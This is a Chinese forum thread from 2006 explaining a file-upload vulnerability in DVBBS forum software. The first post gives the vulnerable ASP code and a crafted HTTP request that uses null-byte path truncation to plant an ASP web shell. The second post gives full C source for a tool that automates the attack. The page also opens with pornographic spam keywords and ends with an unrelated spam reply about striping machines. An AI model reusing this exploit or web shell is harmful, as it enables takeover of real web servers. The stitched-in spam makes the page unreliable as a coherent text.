无码成人A片在线观看,性欧美videofree高清变态,中文字幕有码无码av,国产无人区卡一卡二扰乱码 ,最近高清日本免费

 通信界 | 通信圈 | 通信家 | 下載吧 | 說吧 | 國(guó)際 | 國(guó)內(nèi) | 運(yùn)營(yíng) | 市場(chǎng) | 財(cái)經(jīng) | 物聯(lián)網(wǎng) | 無現(xiàn)金 | | 專網(wǎng) | 信息安全 | 5G | BigDate
 電源 | 專網(wǎng) | 光通信 | 交換 | 視頻 | 接入 | 無線 | 線纜 | 測(cè)試 | IT | 自動(dòng)化 | 互聯(lián)網(wǎng) | 數(shù)據(jù) | 政策 | 終端 | NGN | 視界 | 前瞻 | 知本院

通信圈〖休閑 · 娛樂〗數(shù)據(jù)編程 · 大數(shù)據(jù)建設(shè) → 動(dòng)網(wǎng)論壇上傳文件漏洞的原理以及攻擊的代碼實(shí)現(xiàn)

歡迎您提出建議和意見!管理員QQ:181502650 通信界QQ群:群①:31498574;群②:89286709 下載吧-通信書籍、通信論文、通信報(bào)告集聚地! 通信界QQ群:群③:5834261;群④:8044407

  共有4688人關(guān)注過本帖樹形打印復(fù)制鏈接

主題:動(dòng)網(wǎng)論壇上傳文件漏洞的原理以及攻擊的代碼實(shí)現(xiàn)

帥哥喲,離線,有人找我嗎?
新月彎刀
  1樓 | 信息 | 搜索 | 郵箱 | 主頁(yè) | UC


加好友 發(fā)短信 新月派彎刀
等級(jí):通信圈管理員 帖子:2213 積分:26874 威望:10 精華:34 注冊(cè):2004/9/1 1:25:35
動(dòng)網(wǎng)論壇上傳文件漏洞的原理以及攻擊的代碼實(shí)現(xiàn)  發(fā)帖心情 Post By:2006/10/18 12:00:33 [只看該作者]

最近一段時(shí)間比較忙,沒什么時(shí)間為組織做貢獻(xiàn)(實(shí)在是沒實(shí)力,呵呵).剛好前一段時(shí)間聽小豬(豬蛋兒的《目前流行的BBS安全性比較》一文請(qǐng)參閱:http://wvw.ttian.net/forum/viewtopic.php?id=269)說動(dòng)網(wǎng)論壇出了一個(gè)上傳任意文件的漏洞,當(dāng)時(shí)沒怎么明白.但是我看到最近NB論壇上全部都在討論有關(guān)這方面的問題,就研究了一下,發(fā)現(xiàn)這個(gè)漏洞確實(shí)存在,而且非常嚴(yán)重,用小豬的話說是DVBBS7.0 SP2以下通殺.雖然有些人已經(jīng)知道了攻擊方法,但是還是存在一些問題.下面我就動(dòng)網(wǎng)的這個(gè)漏洞做一下講解.(不知道會(huì)不會(huì)被人罵,因?yàn)檫@個(gè)漏洞實(shí)在太大了). 我們先看一下動(dòng)網(wǎng)論壇上傳文件的相關(guān)代碼: '===========無組件上傳(upload_0)==================== sub upload_0() set upload=new UpFile_Class ''建立上傳對(duì)象 upload.GetDate (int(Forum_Setting(56))*1024) '取得上傳數(shù)據(jù),不限大小 iCount=0 if upload.err > 0 then select case upload.err case 1 Response.Write "請(qǐng)先選擇你要上傳的文件 [ <a href=# onclick=history.go(-1)>重新上傳</a> ]" case 2 Response.Write "圖片大小超過了限制 "&Forum_Setting(56)&"K [ <a href=# onclick=history.go(-1)>重新上傳</a> ]" end select exit sub else formPath=upload.form("filepath") ''在目錄后加(/) if right(formPath,1)<>"/" then formPath=formPath&"/" for each formName in upload.file ''列出所有上傳了的文件 set file=upload.file(formName) ''生成一個(gè)文件對(duì)象 if file.filesize<100 then response.write "請(qǐng)先選擇你要上傳的圖片 [ <a href=# onclick=history.go(-1)>重新上傳</a> ]" response.end end if fileExt=lcase(file.FileExt) if CheckFileExt(fileEXT)=false then response.write "文件格式不正確 [ <a href=# onclick=history.go(-1)>重新上傳</a> ]" response.end end if randomize ranNum=int(90000*rnd)+10000 filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt if file.FileSize>0 then ''如果 FileSize > 0 說明有文件數(shù)據(jù) file.SaveToFile Server.mappath(filename) ''保存文件 ' response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!<br>" response.write "<script>parent.document.forms[0].myface.value='"&FileName&"'</script>" iCount=iCount+1 end if set file=nothing next set upload=nothing session("upface")="done" Htmend iCount&" 個(gè)文件上傳結(jié)束!" end if end sub 在上面代碼中可以看到這樣一句: filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 這里,filename是保存的文件名,它是依照上傳時(shí)間來命名的,最后擴(kuò)展名是表單中提交過來的文件的擴(kuò)展名.但是程序中對(duì)提交文件的類型做了限制,顯然想直接上傳ASP文件是不可行的.但是我們來看一下做為后輟的依據(jù)從哪里來的呢?我們可以在reg_upload.asp中找到這樣的代碼: <form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" > <input type="hidden" name="filepath" value="uploadFace"> <input type="hidden" name="act" value="upload"> <input type="file" name="file1"> <input type="hidden" name="fname"> <input type="submit" name="Submit" value="上傳" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true, parent.document.forms[0].Submit2.disabled=true;"> </form> 這樣,我們知道了,程序是提取file1表單和fname表單中的值來做判斷的.也就是說直接從頁(yè)面遞交我們的ASP文件也是行不通了,但是,如果是我們自己構(gòu)造數(shù)據(jù)包的話就不一樣了.欲望之翼提出的方法就是自已構(gòu)造數(shù)據(jù)包來達(dá)到欺騙的目的.將提交的file1表單和fname表單項(xiàng)的值改成合法的文件名稱.這樣就可以繞過文件類型的檢測(cè)了. 當(dāng)然,主要的問題不在這里,如果我們只是要上傳那些代碼的話,我們完全可以直接改文件名就好了.我們的目的是要讓我們上傳的文件名改成ASP,這樣我們才可以利用.關(guān)鍵就在這一句了: formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 這句話將一段字符串合并起來.我們能改的就是formPath這個(gè)參數(shù).在計(jì)算機(jī)中檢測(cè)字符串的關(guān)鍵就是看是否碰到'\0'字符,如果是,則認(rèn)為字符串結(jié)束了.也就是說我們?cè)跇?gòu)造上傳文件保存路徑時(shí),只要欺騙計(jì)算機(jī),讓他認(rèn)為類似"uploadface\zwell.asp"這樣的路徑參數(shù)已經(jīng)結(jié)束了,這樣,后面一連串的時(shí)間字符我們都可以不要,從而達(dá)到直接將文件保存為我們定義的文件名的目的.因些,我們要做的是在構(gòu)造的數(shù)據(jù)包中,將表單中的filepath改成類似uploadface\zwell.asp'\0'的字符串然后發(fā)送出去就行了. 我們先來看一下數(shù)據(jù)包的格式(論壇上好像大家用的是WSockExpert,不過我用的是IRIS,我覺得更專業(yè)一點(diǎn),^_^): POST /forum/upfile.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Host: uyee.com Content-Length: 1593 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF -----------------------------7d4a325500d2 Content-Disposition: form-data; name="filepath" uploadFace\zwell.asp -----------------------------7d4a325500d2 Content-Disposition: form-data; name="act" upload -----------------------------7d4a325500d2 Content-Disposition: form-data; name="file1"; filename="C:\1.gif" Content-Type: text/plain <%dim objFSO%> <%dim fdata%> <%dim objCountFile%> <%on error resume next%> <%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%> <%if Trim(request("syfdpath"))<>"" then%> <%fdata = request("cyfddata")%> <%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%> <%objCountFile.Write fdata%> <%if err =0 then%> <%response.write "<font color=red>save Success!</font>"%> <%else%> <%response.write "<font color=red>Save UnSuccess!</font>"%> <%end if%> <%err.clear%> <%end if%> <%objCountFile.Close%> <%Set objCountFile=Nothing%> <%Set objFSO = Nothing%> <%Response.write "<form action='''' method=post>"%> <%Response.Write "<input type=text name=syfdpath width=32 size=50>"%> <%Response.Write "<br>"%> <%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%> <%Response.write "<br>"%> <%Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%> <%Response.write "<input type=submit value=save>"%> <%Response.write "</form>"%> -----------------------------7d4a325500d2 Content-Disposition: form-data; name="fname" C:\1.gif -----------------------------7d4a325500d2 Content-Disposition: form-data; name="Submit" 上傳 -----------------------------7d4a325500d2-- 上面的數(shù)據(jù)我是在WIN2003下調(diào)試的.按我前面講的,只要改幾個(gè)地方就好了 1.Content-Disposition: form-data; name="file1"; filename="C:\1.gif" 2.Content-Disposition: form-data; name="fname" C:\1.gif 3.最重要的地方:uploadFace\zwell.asp,怎么加一個(gè)空字符呢?用UltraEdit是個(gè)好方法,用16進(jìn)制編輯,(因?yàn)?\0'這個(gè)字符也占一個(gè)位置,所以我們先打入一空格,然后再在UltraEdit里將對(duì)就空格符的20改成00). 至于,最前面的那一段,直接從抓包工具中提取就是了.而且隨便一個(gè)都行.但是最重要的是要注意這一句: Content-Length: 1593 很多人測(cè)試都沒成功,就因?yàn)檫@個(gè)值設(shè)的不對(duì),其實(shí)這個(gè)值很好算,是從第一個(gè)"-----------------------------7d4a325500d2"開始算起,到"-----------------------------7d4a325500d2--\r\n\r\n"截止,大家看到的"\r\n"是起換行作用,占兩個(gè)字符.我看論壇上大家論壇時(shí)都是說加一個(gè)字符值就加一,不是說不對(duì),只是還要這樣數(shù),代碼短倒無所謂,代碼要是很長(zhǎng)怎么辦呢?:),這里告訴大家一個(gè)簡(jiǎn)單的方法:打開記事本,將算長(zhǎng)度的代碼復(fù)制到記事本,保存,然后看屬性就一目了然了,一個(gè)字符都不會(huì)錯(cuò).只是有一點(diǎn)必須注意,必須將最后的那幾個(gè)換行也復(fù)制進(jìn)來.很多人就是因?yàn)闆]有復(fù)制換行才失敗的.


由于家園論壇數(shù)據(jù)量過于龐大,無法進(jìn)行帖子逐個(gè)修改,故給所有用戶每人增加5000元電通幣用于下載用,若電通幣用完了,可以向管理員申請(qǐng),版主會(huì)及時(shí)給您增加金錢,也希望大家理解,多多發(fā)貼跟帖,共同營(yíng)造良好的溝通氛圍。
通信界QQ群:群③:5834261;群④:8044407  回到頂部
帥哥喲,離線,有人找我嗎?
新月彎刀
  2樓 | 信息 | 搜索 | 郵箱 | 主頁(yè) | UC


加好友 發(fā)短信 新月派彎刀
等級(jí):通信圈管理員 帖子:2213 積分:26874 威望:10 精華:34 注冊(cè):2004/9/1 1:25:35
  發(fā)帖心情 Post By:2006/10/18 12:00:52 [只看該作者]

寫了這么多,我們也看到,每一個(gè)這樣改太不方便,做了工具是必須的了,呵呵,具體不多說了,部分代碼如下: #include <winsock2.h> #include <stdio.h> #include "Resource.h" #pragma comment(lib,"ws2_32.lib") HINSTANCE g_hInst; HWND g_hWnd; HWND m_up; HWND m_host; HWND m_webpath; HWND m_path; HWND m_filename; HWND m_upload; DWORD m_theadid; BYTE sendbuf[10000]; char host[80]; //主機(jī)地址 char bbspath[50]; //論壇地址 char uppath[20]; //上傳目錄 char upfilename[50]; //上傳文件名 char upfiledata[8000]; //上傳文件內(nèi)容 int sendsize; //總傳送數(shù)據(jù)大小 int realsndsize = 0; //傳送頁(yè)面文件的大小 char snddata[8000]; char mm[1000]= "<%dim objFSO%>\r\n" "<%dim fdata%>\r\n" "<%dim objCountFile%>\r\n" "<%on error resume next%>\r\n" "<%Set objFSO = Server.CreateObject(\"Scripting.FileSystemObject\")%>\r\n" "<%if Trim(request(\"syfdpath\"))<>\"\" then%>\r\n" "<%fdata = request(\"cyfddata\")%>\r\n" "<%Set objCountFile=objFSO.CreateTextFile(request(\"syfdpath\"),True)%>\r\n" "<%objCountFile.Write fdata%>\r\n" "<%if err =0 then%>\r\n" "<%response.write \"<font color=red>save Success!</font>\"%>\r\n" "<%else%>" "<%response.write \"<font color=red>Save UnSuccess!</font>\"%>\r\n" "<%end if%>\r\n" "<%err.clear%>\r\n" "<%end if%>" "<%objCountFile.Close%>\r\n" "<%Set objCountFile=Nothing%>\r\n" "<%Set objFSO = Nothing%>" "<%Response.write \"<form action=\'\' method=post>\"%>\r\n" "<%Response.Write \"<input type=text name=syfdpath width=32 size=50>\"%>\r\n" "<%Response.Write \"<br>\"%>\r\n" "<%=server.mappath(Request.ServerVariables(\"SCRIPT_NAME\"))%>\r\n" "<%Response.write \"<br>\"%>\r\n" "<%Response.write \"<textarea name=cyfddata cols=80 rows=10 width=32></textarea>\"%>\r\n" "<%Response.write \"<input type=submit value=save>\"%>\r\n" "<%Response.write \"</form>\"%>\r\n"; //獲得控件文本 char *gettext(HWND chwnd) { char tmpbuf[10000]; SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf); return tmpbuf; } //設(shè)置控件文本 void settext(HWND chwnd,char *text) { SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text); } char *itos(int data) { char tmp[10]; sprintf(tmp, "%d", data); return tmp; } //上傳線程 DWORD WINAPI uploadthread(LPVOID param) { SOCKET s; sockaddr_in sin; struct hostent * hp; unsigned int addr; s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); ZeroMemory((void *)&sin, sizeof(sin)); hp = gethostbyname(gettext(m_host)); if (!hp) addr = inet_addr(gettext(m_host)); if ((!hp) && (addr == INADDR_NONE) ) { MessageBox(g_hWnd, "Unable to resolve host", "sendbuf", MB_OK); return 0; } if (hp != NULL) memcpy(&(sin.sin_addr),hp->h_addr,hp->h_length); else sin.sin_addr.s_addr = addr; sin.sin_port = htons(80); sin.sin_family = AF_INET; strcpy(host, gettext(m_host)); strcpy(bbspath, gettext(m_webpath)); strcpy(upfiledata, gettext(m_upload)); strcpy(uppath, gettext(m_path)); strcpy(upfilename, gettext(m_filename)); realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1; sprintf((char *)sendbuf, "POST %s/upfile.asp HTTP/1.1\r\n" "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n" "Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp\r\n" "Accept-Language: zh-cn\r\n" "Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2\r\n" "Accept-Encoding: gzip, deflate\r\n" "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\r\n" "Host: %s\r\n" "Content-Length: %d\r\n" "Connection: Keep-Alive\r\n" "Cache-Control: no-cache\r\n" "Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF\r\n\r\n" "-----------------------------7d4a325500d2\r\n" "Content-Disposition: form-data; name=\"filepath\"\r\n\r\n" "%s\\%s", bbspath, host, realsndsize, uppath, upfilename); sendsize = strlen((char *)sendbuf); sendbuf[sendsize] = '\0'; sprintf(snddata, "\r\n" "-----------------------------7d4a325500d2\r\n" "Content-Disposition: form-data; name=\"act\"\r\n\r\n" "upload\r\n" "-----------------------------7d4a325500d2\r\n" "Content-Disposition: form-data; name=\"file1\"; filename=\"C:\\1.gif\"\r\n" "Content-Type: text/plain\r\n\r\n" "%s\r\n" "-----------------------------7d4a325500d2\r\n" "Content-Disposition: form-data; name=\"fname\"\r\n\r\n" "C:\\1.gif\r\n" "-----------------------------7d4a325500d2\r\n" "Content-Disposition: form-data; name=\"Submit\"\r\n\r\n" "上傳\r\n" "-----------------------------7d4a325500d2--\r\n\r\n", upfiledata); strcat((char *)&sendbuf[sendsize+1], snddata); sendsize += strlen(snddata); sendsize += 1; if(SOCKET_ERROR == connect(s, (struct sockaddr *)&sin, sizeof(sin))) { MessageBox(g_hWnd, "連接出錯(cuò)!", "出錯(cuò)提示:", MB_OK|MB_IConERROR); return 0; } int sendsz = send(s, (char *)sendbuf, sendsize, 0); if(sendsz <= 0) MessageBox(g_hWnd, "發(fā)送數(shù)據(jù)失敗", itos(WSAGetLastError()), MB_OK); char recvbuf[10000]; recv(s, (char*)recvbuf, 10000, 0); settext(m_upload, recvbuf); closesocket(s); return 0; } void WINAPI On_Command(WPARAM wParam) { switch (LOWORD(wParam)) { case ID_UP: CreateThread(NULL, 0, uploadthread, NULL, NULL, &m_theadid); break; case IDCANCEL: SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL)); break; } } static BOOL CALLBACK MainDlgProc(HWND hWndDlg, UINT msg, WPARAM wParam, LPARAM lParam) { switch (msg) { case WM_INITDIALOG: g_hWnd = hWndDlg; m_up = GetDlgItem(g_hWnd, ID_UP); m_host = GetDlgItem(g_hWnd, IDC_EDIT1); m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2); m_path = GetDlgItem(g_hWnd, IDC_EDIT3); m_upload = GetDlgItem(g_hWnd, IDC_EDIT4); m_filename = GetDlgItem(g_hWnd, IDC_EDIT5); settext(m_host, "192.168.10.101"); settext(m_webpath, "/"); settext(m_path, "uploadface"); settext(m_filename, "zwell.asp"); settext(m_upload, mm); return TRUE; case WM_COMMAND: On_Command(wParam); break; case WM_SIZE: break; case WM_CLOSE: EndDialog(g_hWnd,0); break; } return FALSE; } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { WSADATA wsaData; g_hInst=hInstance; if(WSAStartup(MAKEWORD(1, 1), &wsaData)) { MessageBox(NULL,"無法初始化 Winsock DLL\t","錯(cuò)誤",MB_OK|MB_ICONSTOP); return 0; } DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1), NULL, (DLGPROC) MainDlgProc); WSACleanup(); return 1; }


由于家園論壇數(shù)據(jù)量過于龐大,無法進(jìn)行帖子逐個(gè)修改,故給所有用戶每人增加5000元電通幣用于下載用,若電通幣用完了,可以向管理員申請(qǐng),版主會(huì)及時(shí)給您增加金錢,也希望大家理解,多多發(fā)貼跟帖,共同營(yíng)造良好的溝通氛圍。
下載吧-通信書籍、通信論文、通信報(bào)告集聚地!  回到頂部
帥哥喲,離線,有人找我嗎?
山雨夜來漲
  3樓 | QQ | 信息 | 搜索 | 郵箱 | 主頁(yè) | UC


加好友 發(fā)短信
等級(jí):副組長(zhǎng) 帖子:35 積分:219 威望:0 精華:0 注冊(cè):2010/12/6 23:40:42
are generally used by companies  發(fā)帖心情 Post By:2010/12/27 17:53:12 [只看該作者]

Striping machines are used to paint lines on a variety of surfaces. They are commonly used on pavement to mark parking lots, roads and airports as well as on grass or dirt for sports fields. Striping machines basically consist of a small engine, an air compressor, the spray nozzle and a series of valves and hoses including one for paint intake. There is frequently a hose ranging from 25 to 50 feet on average that is attached to a separate spray gun similar to the kind found in spray painting equipment that is used for stencils or touch ups. Wheels, a handle and a trigger allow the operator to control the direction of the machine and the force of the paint spray. Most striping machines are pushed by the operator because that increases the amount of control and precision the operator has; self-propelled striping machines or ride-on striping machines are available for large areas. The frame is made from metal and is typically heavy duty stainless steel to resist harsh solvents and corrosion. Some models of striping machines have dashboards that light up for nighttime use. Centralized controls, filters, hose wraps and other accessories help facilitate high productivity for a fast and clean job. Striping machines are generally used by companies that specialize in laying asphalt, sealing cracks and other pavement issues rather than businesses that have paint machines or systems.


www.temsoo.com
下載吧-通信書籍、通信論文、通信報(bào)告集聚地!  回到頂部